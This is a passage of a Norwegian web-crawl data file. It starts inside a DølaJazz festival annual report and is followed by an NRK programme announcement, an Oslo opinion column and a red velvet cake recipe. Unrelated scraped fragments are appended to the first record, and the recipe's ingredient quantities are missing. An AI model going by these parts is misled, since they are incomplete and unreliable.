servicesentre er helt sikkert. Kulturkontoret i Lillehammer kommune sendte denne tilbakemeldingen: \u00abTusen takk for en kjempefin Spaserstokkturn\u00e9\\! Vi har f\u00e5tt s\u00e5 utrolig mange gode tilbakemeldinger fra\n\n, med til sammen 31 musikere BenReddik (NO) Marte Therese Jakobsen, Camilla Hole, H\u00e5kon Hagen Knudsen, Johannes Fosse Solvang, Magnus\")\n\n14 Side 14 bo- og servicesentrene. Tilskuddet fra Kulturdepartementet til neste \u00e5rs Spaserstokk er i boks, og vi h\u00e5per at vi ogs\u00e5 til neste \u00e5r kan samarbeide med dere.\u00bb 5.2. Bedriftskonserter Konseptet D\u00f8laJazz hjem til deg er en minikonsert som selges til bedrifter som en lunsjkonsert for de ansatte i bedriften. Det er fjerde \u00e5ret p\u00e5 rad vi har dette prosjektet og det blir godt mottatt. I \u00e5r var det gruppa Lucky3, fortsatt best\u00e5ende av Hans Martin Austestad, Mattis Myrland og H\u00e5kon Rasmussen, som s\u00f8rget for musikalske pauser i jobbhverdagen til de \u00abheldige\u00bb bedriftene. Bedriftskonserter er en fin m\u00e5te \u00e5 gj\u00f8re D\u00f8laJazz synlige for nye publikummere. Lillehammer kunstmuseum, H\u00f8gskolen i Lillehammer, Statens vegvesen og Lillehammer kommune kj\u00f8pte konserter. Videre var det en vandringskonsert i g\u00e5gata for Lillehammer Sentrums, samt en lukket konsert for noen av Sparebanken Hedmarks kunder. Noen konserter trengte utstyr og rigg p\u00e5 grunn av antall publikum i bedrifter, men det fungerte bra. Teknisk ansvarlig Bj\u00f8rn J\u00f8rgensen og hans team var veldig effektive. Det var ikke noen egen frivilliggruppe for bedriftskonsertene, men Dag Waaler og Carol Kvande tok ansvar med \u00e5 v\u00e6re tilstede for alle konserter. Det gikk bra med alle seks konsertene, med mye fine tilbakemeldinger. Til og med en fin anmeldelse i GD fra konserten p\u00e5 Kunstmuseet Festivalteltet Festivalteltet var flyttet til Sigrid Undsets plass i \u00e5r. Det var en stor suksess. Det gir liv i bybildet under festivalen og mange forbipasserende oppdager en del av D\u00f8laJazz. Programmet besto i tillegg til musikere fra regionen ogs\u00e5 av noen litt mer langveisfarende. Det var ni forskjellige innslag, fra UKM showcase, Grav storband, D\u00c5M, Lillehammer storband, Pepper, og Shebop storband. Med hele tre storband var det st\u00f8rste problemet knappheten p\u00e5 backstage-plass for lagring av bl.a. instrumentkasser. Bes\u00f8ket p\u00e5 gratiskonsertene var veldig bra p\u00e5 dagtid, men noe tynnere etter kl 19 p\u00e5 fredag. I \u00e5r var imidlertid ogs\u00e5 v\u00e6ret med oss, s\u00e5 l\u00f8rdagen ble en \u00abh\u00f8ydare\u00bb. Teltet har imidlertid enn\u00e5 et uforl\u00f8st potensiale som kan utnyttes til at det blir et enda klarere samlingspunkt og et sted for folkefest. Dette m\u00e5 det imidlertid jobbes mer med, og arbeidet b\u00f8r starte tidligere og ha dedikerte folk som jobber med det. Og i tett dialog med Anette H\u00e5rberg i Lykkelige dager, og Thea Eriksen som var stedsansvarlig i \u00e5r. En utfordring med en gratisscene er \u00e5 legge et program som ikke konkurrerer med hovedprogrammet. Planlegging av festivalteltprogrammet b\u00f8r derfor gj\u00f8res i samarbeid med programr\u00e5det. Og kanskje kan man p\u00e5 kveldstid i teltet henvende seg til andre og nye publikumsgrupper, f.eks. ungdom. Det er en god ide\\! Band som opptr\u00e5dte i Festivalteltet (ca. 75 musikere) var UKM showcase, Grav storband, D\u00e5m, Lillehammer storband, barnekoret Pepper, og Shebop storband.\n\n\n\n\n\n16 Side Visuell profil for D\u00f8laJazz D\u00f8laJazz sitt designprogram har ligget som en grunnstruktur i all profilering av festivalen (web, annonser, brosjyrer, plakater, bannere m.m.) V\u00e5r hovedsponsor og leverand\u00f8r av markedsmateriell, Dialecta kommunikasjon, har jobbet frem et moderne uttrykk p\u00e5 trykksaker. Den visuelle profilen skal formidle festivalens grunnverdier og merkevare p\u00e5 en enkel og lettfattelig m\u00e5te, og vi mener D\u00f8laJazz n\u00e5 har f\u00e5tt en enhetlig og gjenkjennende profil i forbindelse med markedsf\u00f8ring og profilering. Markedsarbeidet er gjennomf\u00f8rt i tr\u00e5d med markedsplanen, og de frivillige i markedsgruppen gjorde en god jobb. Logoen og fargene til D\u00f8laJazz er godt innarbeidet og er festivalens kjennemerke gjennom mange \u00e5r. Det er verdt \u00e5 minne om at logoen ble utarbeidet av kunstneren Morten Paulsen fra Lillehammer i 1993 og at designmanualen ble utarbeidet av maridesign (Mari Winkler) i Detter er en stor jobb som handler om \u00e5 gj\u00f8re festivalen synlig for flest mulig. Designet for \u00e5rets festival b\u00f8r settes s\u00e5 fort som mulig slik at man kan begynne \u00e5 gj\u00f8re det synlig og bruke gjenkjennelseseffekten tidlig. Annonser, plakater, t-skjorter ol. b\u00f8r jobbes med og bestilles hos Dialecta i god tid f\u00f8r fristene g\u00e5r ut. Jo n\u00e6rmere festivalen man kommer jo mer er det som skal designes, korrekturleses og trykkes. Disse prosessene tar lengre tid enn man tror og er viktige i forhold til \u00e5 f\u00e5 et godt og \u00f8nsket resultat Markedsf\u00f8ring og markedsmix D\u00f8laJazz har f\u00f8r og under i \u00e5rets festival markedsf\u00f8rt seg gjennom mange kanaler: Plakater Plakater ble utarbeidet og videreutviklet med utgangspunkt den etablerte profilen. Plakaten ble trykket opp i to ulike st\u00f8rrelser. Disse ble hengt opp ca 2 uker f\u00f8r D\u00f8laJazz i Lillehammer, Gudbrandsdalen og Mj\u00f8somr\u00e5det spesielt, men ogs\u00e5 i Oslo og ellers rundt p\u00e5 \u00d8stlandet generelt. Egen \u00abmotorsykkelgruppe\u00bb bidro i distribusjonen. JazzIncubator trykket opp egne plakater og distribuerte i Lillehammer. JazzIncubator spilte i stor grad p\u00e5 D\u00f8laJazz sin \u00f8vrige profil. Flyer og festivalavis I 2012 ble det trykket opp og delt ut flyers og 3000 programmer. Disse ble delt ut p\u00e5 andre festivaler rundt om i Norge og ellers distribuert i Mj\u00f8somr\u00e5det, i Oslo og ellers i hovedsak p\u00e5 \u00d8stlandet. Markedsgruppa \u00f8nsket i \u00e5r \u00e5 bytte ut programmet med festivalavis med innstikk i GD (19500 husstander). Totalt stk. Erfaringer fra i fjor var at program og flyers ikke hadde god nok effekt og at flere ikke leste programmet. Det ble i tillegg laget eget miniprogram i lommeformat (3000 stk). Det kan med fordel trykkes opp flere miniprogram til neste \u00e5r. Presse - (nasjonalt, lokalt, samarbeidspartnere) D\u00f8laJazz har hatt forholdsvis stor pressedekning b\u00e5de f\u00f8r, under og etter festivalen i GD og Byavisa. GD gjorde bl.a. forh\u00e5ndsomtale av \u00e5rets program. I Byavisa hadde vi ogs\u00e5 i \u00e5r en egen festivaldel (totalt fem sider fordelt p\u00e5 to torsdager) der programmet ble presentert. Dagsavisen og JazzNytt hadde journalist til stede under hele festivalen. Det har v\u00e6rt god dialog med pressen. Annonser - i Jazznytt (1 stk), Moldejazz (1 stk) og Byavisa (4 stk). Web-annonser ble i \u00e5r ikke benyttet i og med disse var lite synlige under festivalen i Annonsebudsjettet ble kuttet fra i fjor til fordel for festivalavis. Ingen annonser i GD og samkj\u00f8ringen grunnet innstikk festivalavis\n\n\n\n17 Side 17 i GD. Annonsene i Jazznytt og Moldejazz var bytteavtaler. Bannere Det ble trykket opp 10 nye bannere til bruk i g\u00e5gata. Stand i Storgata f\u00f8r og under festivalen var det stands i Storgaten som delte ut info og lagde liv rundt festivalen. Fire l\u00f8rdager f\u00f8r festivalen stod en gruppe frivillige p\u00e5 stand. De delte ut miniprogram og festivalavis. Det ble for lite miniprogram for standgruppa. I tillegg var festivalavisen vanskeligere \u00e5 dele ut pga. st\u00f8rrelse. T-skjorter Det ble trykket opp 120 t-skjorter i fargen sort. Festivalens artister var skrevet p\u00e5 baksiden. \u00c5rets t-skjorter var popul\u00e6re. Det anbefales \u00e5 trykke opp t-skjorter tidlig. Disse kan fint brukes i markedsf\u00f8ringen. Butikkvinduskonkurranse/butikkpakker Vi gikk ut med en konkurranse for butikkene i Lillehammer sentrum. Den butikken med det beste D\u00f8laJazzpynta utstillingsvinduet fikk konsertbilletter. En gruppe fra styret juryerte vinduene l\u00f8rdagen f\u00f8r festivalstart. Vi solgte ogs\u00e5 butikkpakker til butikkene i byen. I bytte fikk de navnet sitt i Festivalavisa og klistremerker for vindu. Markedsf\u00f8ring p\u00e5 skysstasjonen I 2012 kj\u00f8pte vi oss inn i prosjektet p\u00e5 Lillehammer Vandrerhjem som holder til p\u00e5 skysstasjonen. I likhet med andre festivaler og andre akt\u00f8rer har vi en liten D\u00f8laJazzkrok i kafeen der med eget D\u00f8laJazzbord. Der kan vi profilere oss gjennom hele \u00e5ret, dele ut informasjon om festivalen, ha fri tilgang til en skranke som kan brukes under festivalen (for \u00e5 m\u00f8te gjester, artister ol.), holde m\u00f8ter ol. Denne avtalen varer i tre \u00e5r. Det sistnevnte ble ikke benyttet, men D\u00f8laJazz var tydelig synlig med bannere, plakater og annet pynt p\u00e5 stasjonen. I tillegg ble Stasjonskafeene benyttet som konsertlokale. Evaluering Det har v\u00e6rt positivt at det ble etablert en egen markedsgruppe der arbeidsoppgaver ble fordelt mellom medlemmene. Det var ogs\u00e5 en fordel \u00e5 inkludere Hallgeir Bakken inn i markedsgruppa. Slik ble det bedre informasjonsflyt mellom D\u00f8laJazz og Dialecta. Festivalavis erstattet i \u00e5r flyers. Dette b\u00f8r videref\u00f8res til neste \u00e5r. Med innstikk i GD har vi hatt et mye st\u00f8rre nedslagsfelt enn tidligere. Vi har ogs\u00e5 f\u00e5tt gode tilbakemeldinger p\u00e5 festivalavisa. I tillegg opplevde vi de lettere \u00e5 selge annonser. Vi tror festivalavisa kan funnfinansieres gjennom annonsesalg. Ny markedsgruppe b\u00f8r tidlig tenke innhold i festivalavis, og man kan med fordel tenke flere bilder. Festivalavisa inneholdt litt for mye tekst. Det ble ogs\u00e5 laget klistremerker for bil. Flere fra styret dekorerte bilene med klistremerker. Vi har f\u00e5tt flere tilbakemeldinger p\u00e5 at mange har sett bilene. Dette b\u00f8r videref\u00f8res til neste \u00e5r og man kan med fordel trykke opp klistremerkene tidligere. Markedsgruppa har hatt n\u00e6r kontakt med programr\u00e5det gjennom Mette Kari Worum. Det er viktig at det er programr\u00e5det som skriver og samler inn info + bilder fra artistene s\u00e5 snart kontrakter er p\u00e5 plass. Dette har fungert bra i \u00e5r. I tillegg til Hilde Fauskerud, hadde programr\u00e5det kontakt med pressen. Programr\u00e5det kjenner programmet godt og er de beste\n\n\n\n18 Side 18 ambassad\u00f8rene for \u00e5 selge programmet til pressen. Bannere i g\u00e5gata: Det b\u00f8r tidlig gj\u00f8res avtaler med Lillehammer Sentrum Drift der D\u00f8laJazz kan prege hele g\u00e5gata med bannere. I \u00e5r ble bare nye bannere hengt opp (10 stk). Disse ble lite synlige i bybildet. Egen fotogruppe b\u00f8r videref\u00f8res neste \u00e5r. Kjell Are Refsvik og Freddy Wike tok mange flotte bilder under festivalen. Det er viktig at disse bildene, s\u00e5 fort som mulig, vises p\u00e5 festivalens hjemmeside. Det b\u00f8r etableres en gruppe som arbeider med dette under neste festival. Med Ole E. Wattne, i spissen ble festivalens hjemmeside kraftig forbedret. Facebook ble hyppig brukt i markedsf\u00f8ringen av konserter. Vi har f\u00e5tt god respons p\u00e5 dette. Det b\u00f8r opprettes en egen gruppe som arbeider med hjemmeside og sosiale medier i forkant og under festivalen. Hjemmesiden b\u00f8r inneholde mer informasjon for frivillige. 7. SPONSORARBEID OG SAMARBEIDSPARTNERE 7.1. Sponsorarbeidet Kultursponsing er krevende, og har ikke blitt mindre krevende det siste \u00e5ret. Dette gir ogs\u00e5 utslag i arbeidet med \u00e5 skaffe festivalen nye samarbeidspartnere. I \u00e5r har, i tillegg til styret, ogs\u00e5 Bj\u00f8rn A. L\u00f8ken/KREKO v\u00e6rt engasjert i dette sponsorarbeidet. Han har jobbet med dette i store deler \u00e5ret. Gjennom dette arbeidet viser det seg at mange potensielle samarbeidspartnere i Lillehammer og regionen ikke har det st\u00f8rste forholdet til D\u00f8lajazz. Bedriftene vet lite om festivalen, hva den st\u00e5r for, publikum, program osv. Men det eneste festivalen kan gj\u00f8re er \u00e5 jobbe videre mot sponsorer, synliggj\u00f8re hva festivalen er og vise potensiale for samarbeid. Vi utarbeider n\u00e5 en fast sponsorstruktur med tre niv\u00e5er, som vil gj\u00f8re det noe lettere \u00e5 framlegge samarbeidsformer overfor potensielle partnere. Et av v\u00e5re beste argument i sponsorsammenheng er arbeidet som D\u00f8lajazz bidrar med i forhold til unge jazzmusikere gjennom Jazzincubator og Ungjazzseminaret Samarbeidspartnere 2013 V\u00e5r generalsponsor har ogs\u00e5 i \u00e5r v\u00e6rt Dialecta kommunikasjon som leverand\u00f8r av tjenester og trykksaker. Denne avtalen ble fornyet dette \u00e5ret og l\u00f8per til???, Sparebank1 Hedmark har v\u00e6rt hovedsponsor og giver av \u00abTalentprisen\u00bb dette \u00e5ret. V\u00e5r to-\u00e5rige avtale med dem g\u00e5r ut n\u00e5 ved nytt \u00e5r og de har meldt fra at de ikke vil fornye. Dermed m\u00e5 festivalen ut p\u00e5 markedet for \u00e5 finne ny bankforbindelse, som vi ogs\u00e5 vil bli med som hovedsponsor. Dette arbeidet er allerede i gang. Lillehammer Sentrum Drift st\u00f8ttet med tjenester og penger ogs\u00e5 i Vi har f\u00e5tt inn tre nye sponsorer p\u00e5 niv\u00e5 tre i \u00e5r; det er Ramb\u00f8ll, \u00d8koNor og Strandtorget. De to f\u00f8rste bedriftene har bidratt \u00f8konomisk mens avtale med Strandtorget har v\u00e6rt en ren barteravtale. Dette har v\u00e6rt ett-\u00e5rlige avtaler, men vi har godt h\u00e5p om at de blir videref\u00f8rt og kanskje utvidet.\n\n\n\n19 Side 19 D\u00f8lajazz har i \u00e5r hatt inntekter ogs\u00e5 fra mindre st\u00f8ttespillere. Dette gjelder kj\u00f8p av annonser i festivalavisa og kj\u00f8p av bedriftskonserter. Dette er gode konsepter, og enklere \u00e5 selge pga pris. S\u00e6rlig er det verdt \u00e5 fremheve muligheten til \u00e5 reklamere for festivalen, samtidig som man f\u00e5r en inntekt av de sm\u00e5 konsertene, og ikke minst det kommer mange til gode. Dette er en vinn vinn situasjon og b\u00f8r videref\u00f8res. 8. STYREARBEID Styret ble valgt p\u00e5 \u00e5rsm\u00f8tet p\u00e5 Cafe Stift 12. februar Vi har i l\u00f8pet av \u00e5ret hatt 10 styrem\u00f8ter. I tillegg har det v\u00e6rt arbeidsm\u00f8ter for de ulike ansvarsomr\u00e5dene. Det er en stor oppgave \u00e5 arrangere en festival med n\u00e6rmere 250 artister, 110 frivillige og minst like mange ulike samarbeidspartnere. Selv om D\u00f8lajazz pt ikke er en organisasjon med ansatte, forventes det fra alle hold at festivalen drives profesjonelt mht. kontrakter, oppf\u00f8lging av artister, pressekontakt, markedsf\u00f8ring, teknisk gjennomf\u00f8ring osv. Styret kunne med fordel hatt en administrasjon til \u00e5 f\u00f8lge opp skriftlig arbeide, noe \u00e5rsm\u00f8tet 2011 faktisk vedtok \u00e5 arbeide for. I en prosess for \u00e5 f\u00e5 p\u00e5 plass en slik stilling, noe som vil kreve en noe st\u00f8rre omsetning enn dagens, valgte vi imidlertid ogs\u00e5 i \u00e5r \u00e5 fortsette samarbeidet med KREKO / Bj\u00f8rn L\u00f8ken. Samarbeidet med Bj\u00f8rn har v\u00e6rt veldig bra, og vi vurderer dette som b\u00e5de en m\u00e5te \u00e5 minske arbeidsmengden p\u00e5 styret og styreleder og en trygg kontinuitet. Styret 2013 har best\u00e5tt av: Styreleder: Dag Waaler Styremedlemmer: Anne Synn\u00f8ve \u00d8stensen Asbj\u00f8rn Hovst\u00f8 Bjarte Ytre-Arne Hilde Fauskerud Mette Kari Worum Varamedlemmer: Carol Kvande Ingerid Skabo\n\n\n\n### 10 mest brukte navn ; jenter/kvinner. \\* betyr at flere skrivem\u00e5ter er sl\u00e5tt sammen\n\n August 2012 Vel overst\u00e5tt sommer\\! Vi h\u00e5per dere har hatt en god sommer, til tross for litt for mange regndager, og har ladet batteriene til nok en spennende og inntektsbringende vintersesong. Vi gleder\n Her finner dere tre tabeller. Den f\u00f8rste viser en oversikt over dugnadsgjengene, den andre inneholder en vaktoversikt for hver forestilling, og den tredje viser telefonnummer til foreldrene i korpset.\n\n", "language": "no", "__index_level_0__": "8f2e1f85-1eda-42f5-a86d-2e76afaa4b95"}
{"url": "http://arkiv.nrk.no/programoversikt/avansert/index706d.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:27:42Z", "text": "# St\u00e5 opp\\! fra Troms\u00f8\n**I h\u00f8st blir det ny programleder og nytt sendested for St\u00e5 opp\\!. Christine Malnes Mathisen skal underholde store og sm\u00e5 hver s\u00f8ndag morgen, og det skjer fra Troms\u00f8.**  \n  \nHun overtar stafettpinnen etter Marianne Furevold som har v\u00e6rt programleder for St\u00e5 opp\\! siden h\u00f8sten 2001, og Christine har takket ja til et helt \u00e5r i St\u00e5 opp\\!-redaksjonen.  \n  \n**Samme oppskrift**  \nNytt fjes og ny by til tross: St\u00e5 opp\\!-oppskriften forblir den samme. Redaksjonen har ikke noe fast studio, men reiser rundt p\u00e5 forskjellige steder der det skjer ting for barn og unge. Det er mye \u00e5 utforske i Troms\u00f8 og omegn, men Christine lover at det i l\u00f8pet av \u00e5ret ogs\u00e5 skal bli turer til andre steder i landet - og til og med utenfor Norge.  \n  \nSendetiden, kl. 08.00, er ogs\u00e5 den samme som f\u00f8r.  \n  \n**B\u00e5de \u00f8stlending og nordlending**  \nChristine er 26 \u00e5r gammel og debuterte i \u00e5r som programleder i P\u00e5skemorgen som ogs\u00e5 ble sendt fra Troms\u00f8. Den nordlige delen av landet v\u00e5rt er ikke helt ukjent for Christine, som selv er f\u00f8dt i Harstad. Da hun var fem \u00e5r gammel flyttet hun til Skedsmokorset utenfor Oslo, og kan dermed snakke b\u00e5de \u00f8stlandsk og som en ekte harstadv\u00e6ring.  \n  \n**P\u00e5 sel-bes\u00f8k**  \nI f\u00f8rste program tar Christine seerne med til Polaria, et arktisk opplevelsessenter i Troms\u00f8. Her blir vi blant annet bedre kjent med noen av selene som bor p\u00e5 senteret.  \n  \nEgenprodusert magasin fra NRK Barn og ungdom  \nProgramleder: Christine Malnes Mathisen  \nProsjektleder: Beate H\u00e5rstad Jensen  \nPressekontakt: Eirin Grytbakk, tlf 23 04 86 96/995 39 252  \n\n  \n\n\n", "language": "no", "__index_level_0__": "cc6dab6e-dabc-46bd-9204-a995d8e2649c"}
{"url": "http://nab.no/index.php?page=vis_nyhet&NyhetID=11353", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:55:29Z", "text": "## Kommentar: \u00abVi er aldri p\u00e5 Gr\u00f8nland. Vi trenger ikke dra dit.\u00bb\n\n\n\nFORFATTER: Yngve Kveine er forfatter av boka Lyden av Asfalt, og handler om oppveksten i Groruddalen. I dag bor han p\u00e5 Kjels\u00e5s. Kveine er i tillegg kommunikasjonssjef ved Handelsh\u00f8yskolen BI. FOTO: KRISTIN TUFTE HAGA\n\nEr det virkelig s\u00e5 farlig at Oslo st\u00e5r i spagaten? At vi har en by der \u00f8st og vest og ulike folkegrupper fors\u00f8ker \u00e5 unng\u00e5 hverandre s\u00e5 godt de kan?\n\nTekst:  \nYngve Kveine\n\nPublisert:  \n28.03.2015 kl 18:21\n\nOppdatert:  \n28.03.2015 kl 19:20\n\n\n\n\n\n**Tar du T-banen** fra Stovner til R\u00f8a, kan du ikke unng\u00e5 \u00e5 legge merke til hvor delt Oslo er. Og utviklingen g\u00e5r raskt i gal retning.\n\n**Debatten g\u00e5r om** skillet mellom \u00f8st og vest. Selv \u00f8nsker jeg debatten velkommen. Den inneholder elementer vi ikke kan ignorere. For Oslo er en delt by. Og akkurat det handler om mer enn hvilke folkegrupper som velger \u00e5 bosette seg i Groruddalen eller ikke.\n\n**TIPS NORDRE AKER BUDSTIKKE\\!**\n\n**Vi har ogs\u00e5 kunnet** engasjere oss i hvilke ungdommer som drikker og doper seg mest, og hvem som er flinkest til \u00e5 skjule syndene sine for distanserte foreldre.\n\n**Denne meningsutvekslingen er** gammel. Den kan lett avfeies med at ungdom er ungdom og at alle m\u00e5 finne sine egne m\u00e5ter \u00e5 gj\u00f8re oppr\u00f8r p\u00e5.\n\n**Selv er jeg** ikke tilhenger av denne tiln\u00e6rmingen. Jeg mener debatten forteller noe om to verdener som er stadig mindre i kontakt med hverandre.\n\n### Krystallklare skillelinjer\n\n**Og la meg avsl\u00f8re** det f\u00f8rst som sist. Jeg er \u00f8stkantgutt og vokste opp i Groruddalen p\u00e5 80- og 90-tallet.\n\n**I min bok Lyden av asfalt**, beskriver jeg en by og en tid med begrenset kontakt mellom \u00f8st og vest. Skillelinjene var krystallklare, og man gjorde sitt beste for \u00e5 unng\u00e5 hverandre.\n\n**Mistroen, ulikhetene og parodiene** av hverandre var en del av hverdagen. Ulik mentalitet og \u00e5penbare klasseskiller snakket p\u00e5 mange m\u00e5ter for seg selv. Selv om vi n\u00e5 har beveget oss 20 \u00e5r fremover i tid, kan jeg ikke se at situasjonen har bedret seg det grann. Tvert imot er ulikhetene st\u00f8rre enn noensinne.\n\n**Vi ser en stadig** trend i gal retning, der jeg ikke kan annet enn \u00e5 undre meg over manglende prioriteringer fra politikerne for \u00e5 ruste opp b\u00e5de infrastruktur og oppbyggende aktiviteter i Oslo \u00f8st.\n\n**N\u00e5r Oslos biblioteker** m\u00e5 kjempe for livet, er det et trist uttrykk for en feilsl\u00e5tt politikk. Selv fant jeg b\u00e5de kunnskap og inspirasjon p\u00e5 biblioteket ved Bjerkebanen.\n\n### \u2013 Vi er aldri p\u00e5 Gr\u00f8nland\n\n**For man starter** med ulike kort p\u00e5 h\u00e5nden om man blir f\u00f8dt p\u00e5 \u00f8stkanten eller vestkanten. For en tid tilbake leste jeg en artikkel i Nettavisen om to unge jenter, bosatt p\u00e5 Frogner. Bortsett fra kokettering om penger og champagne, var et av de beste sitatene: \u00abVi er aldri p\u00e5 Gr\u00f8nland. Vi trenger ikke dra dit\u00bb.\n\n**Nei, vel, tenkte jeg**. Mulig det. Men s\u00e5 ufattelig snevert dere velger \u00e5 innrette livet deres. For enten vi \u00f8nsker det slik eller ikke, er vi alle en del av Oslo.\n\n**Denne byen v\u00e5r** er et lappeteppe av ulike hendelser, som tilsammen danner en fascinerende helhet. For \u00e5 forst\u00e5 det, m\u00e5 man \u00e5pne \u00f8ynene. Vandre litt rundt. Sette seg p\u00e5 T-banen. Bevege seg til steder der man kanskje ikke har v\u00e6rt tidligere.\n\n**For f\u00f8rst da** kan man risikere \u00e5 oppdage nye ting. Som at ulike folkegrupper i stadig mindre grad ser ut til \u00e5 bosette seg p\u00e5 samme sted. At 97 prosent av elevene ved Gran skole p\u00e5 Furuset har en annen bakgrunn enn norsk, og at andelen er nede i syv prosent blant elevene ved Midtstuen skole i Holmenkollen.\n\n### Heller champagnen i vasken\n\n**En annen trend** jeg har merket meg er ungdom med altfor mye penger som frekventerer hippe barer, kj\u00f8per dyr champagne og f\u00e5r bartenderen til \u00e5 helle de edle dr\u00e5pene i vasken. Bare fordi de kan.\n\n**De gj\u00f8r det** kanskje fordi de vanskelig finner andre m\u00e5ter \u00e5 dyrke meningsl\u00f8sheten i tilv\u00e6relsen p\u00e5. Jeg har ikke h\u00f8rt om lignende tilfeller p\u00e5 Tveita. Der drikker de halvliteren sin i fred.\n\n**Og man kan** snakke og snakke. Ha de beste intensjoner, uten \u00e5 gj\u00f8re noe som egentlig hjelper p\u00e5 situasjonen i det hele tatt. For er det virkelig s\u00e5 farlig at Oslo st\u00e5r i spagaten? At vi har en by der \u00f8st og vest og ulike folkegrupper fors\u00f8ker \u00e5 unng\u00e5 hverandre s\u00e5 godt de kan?\n\n**Ja, selvsagt er** det feil. Det mener nok de fleste av oss. Og vi har ment det lenge. Allerede i 1994 kartla Fafo-rapporten, \u00abOslo: den delte byen\u00bb, store forskjeller mellom \u00f8st og vest i Oslo. Situasjonen har ikke bedret seg som et resultat av det.\n\n### Vilje til \u00e5 endre kurs\n\n**Men det finnes** h\u00e5p. Selv er jeg ingen ekspert, men ogs\u00e5 jeg har f\u00e5tt med meg at kloke hoder i en \u00e5rrekke har pekt p\u00e5 l\u00f8sninger som dessverre blir ignorert av politikerne.\n\n**For viljen til** \u00e5 endre kurs finnes i befolkningen. Forskning viser jo at b\u00e5de etnisk norske og innvandrere gjerne vil bo i \u00abmiksede\u00bb nabolag. Likevel m\u00e5 vi ta innover oss at innvandrere og norskf\u00f8dte med innvandrerforeldre utgj\u00f8r cirka 50 prosent av befolkningen p\u00e5 Stovner i \u00f8st, mens Vestre Aker bare har 16 prosent.\n\n**Det burde v\u00e6re** mulig \u00e5 innf\u00f8re en aktiv boligpolitikk som gj\u00f8r det mulig \u00e5 bosette seg p\u00e5 begge sider av byen uavhengig av om lommeboken er stinn eller ikke. Jeg snakker da om \u00e5 revurdere holdningen som sier at det bare skal v\u00e6re dyre eneboliger p\u00e5 den ene siden av byen og blokkleiligheter p\u00e5 den andre. L\u00f8nn er som kjent en avgj\u00f8rende faktor for hvor folk har mulighet til \u00e5 bosette seg.\n\n### Ikke mitt Oslo\n\n**Men tilbake til** T-baneturen jeg nevnte innledningsvis. Kanskje skulle vi gj\u00f8re det alle sammen? Litt oftere. Kaste oss ut i det ukjente. La oss forf\u00f8res av eksotiske lukter p\u00e5 Furuset, eller nyte synet av fjonge fruer med sm\u00e5 hunder i veskene sine p\u00e5 trikken mot Frognerseteren.\n\n**Karikert eller ikke:** Kanskje har vi alle noe \u00e5 l\u00e6re? Kanskje har vi alle noe \u00e5 hente? I v\u00e5rt felles rop p\u00e5 politisk vilje og faktiske bevilgninger som m\u00e5 til for \u00e5 snu trenden. Kanskje sparer vi oss for utsagn der folk sier at de flytter til Grorud med en idealistisk overbevisning om \u00e5 skulle skaffe seg en nyttig erfaring?\n\n**Jeg \u00f8nsker ikke** et Oslo der klasseskillene bare fortsetter \u00e5 \u00f8ke. Det er ikke mitt Oslo.\n\nYngve Kveine - Kjels\u00e5s\n\nKommentaren har ogs\u00e5 tidligere v\u00e6rt trykket i Aftenposten.\n\n", "language": "no", "__index_level_0__": "02f09902-620e-430e-93fb-19259186725e"}
{"url": "http://maaltid.no/oppskrifter/red-velvet-kake", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:35:56Z", "text": "# Red velvet-kake\n\n\n\nR\u00f8d fl\u00f8yelskake er en amerikansk klassiker med r\u00f8dfarget kakebunn og kremhvit glasur. Annerledes og delikat\\!\n\n\\#festkaker\n\n*Av* **Tone Victoria Midtg\u00e5rd og Cecilie Espensen (2017)**  \n\n\n**Tips:** Kakebunnene kan lages i forveien og fryses ned.\n\n \n **  2 T 5 min  **  2\n\n**  ANDRE SOM DENNE \n\nM\u00e5ltid for **6 personer**\n\n Trykk +/- for \u00e5 endre antall personer eller tast inn mengden ingrediens du har. \n\n## Ingredienser\n\n  - g\n    \n    Sm\u00f8r, usaltet\n\n  - g\n    \n    Kokos, revet\n\n  - ts.\n    \n    Natron\n\n  - ts.\n    \n    Eddik, hvit\n\n  - ss.\n    \n    Konditorfarge, rosa\n\n  - ss.\n    \n    Sitron, presset\n\n  - dl\n    \n    Skummet melk\n\n  - ss.\n    \n    Kakaopulver\n\n  - ss.\n    \n    Maizena\n\n  - g\n    \n    Hvetemel, siktet\n\n  - stk.\n    \n    Egg, r\u00e5\n\n  - g\n    \n    Sukker, farin, raffinade\n\n  - ts.\n    \n    Vaniljeekstrakt\n\n## Mascarponeglasur\n\n  - g\n    \n    Mascarpone, ost\n\n  - ts.\n    \n    Vaniljeekstrakt\n\n  - g\n    \n    Melis\n\n  - g\n    \n    Kremost, naturell\n\n  - dl\n    \n    Kremfl\u00f8te\n\n## Red velvet-kake\n\nKakebunnene kan lages i forveien og fryses ned.\n\n1\n\nSett ovnen p\u00e5 180 \u00b0C (160 \u00b0C med vifte). Sm\u00f8r to ca. 22 cm runde springformer. Klipp til og dekk bunn og sider med bakepapir.\n\n2\n\nBland skummet melk og sitronsaft, la st\u00e5 i 5 minutter.\n\n3\n\nMiks sm\u00f8r, 1 ts vaniljeekstrakt, sukker og egg luftig.\n\n4\n\nSikt inn mel og kakao, og tilsett sitronmelk r\u00f8rt ut med konditorfarge. Bland godt.\n\n5\n\nHa eddik og natron i en kopp, la det bruse litt, og bland i deigen. Fordel deigen i de to formene.\n\n6\n\nStek kakene i ca. 25 min. La dem avkj\u00f8les i formen i ca. 10 min. f\u00f8r de hvelves ut og avkj\u00f8les p\u00e5 rist.\n\n7\n\nPakk kakebunnene inn i plastfolie, og sett dem i fryseren i 40 min.\n\n## Mascarpone-glasur\n\n1\n\nR\u00f8r ost, mascarpone, sukker og vaniljeekstrakt glatt.\n\n2\n\nStivpisk fl\u00f8ten, og bland med ostekremen.\n\n3\n\nDel kakebunnene i to.\n\n4\n\nLegg et av lagene p\u00e5 et serveringsfat med skj\u00e6reoverflaten opp, og fordel ca. 1/6 av glasuren over.\n\n5\n\nGjenta tre ganger til, og fordel resten av glasuren opp\u00e5 og rundt kaken.\n\n6\n\nDryss revet kokosn\u00f8tt over og server.\n\nMaryam 2017-11-11 17:18:48\n", "language": "no", "__index_level_0__": "a8e53e83-8795-4044-b593-ce544a707b65"}
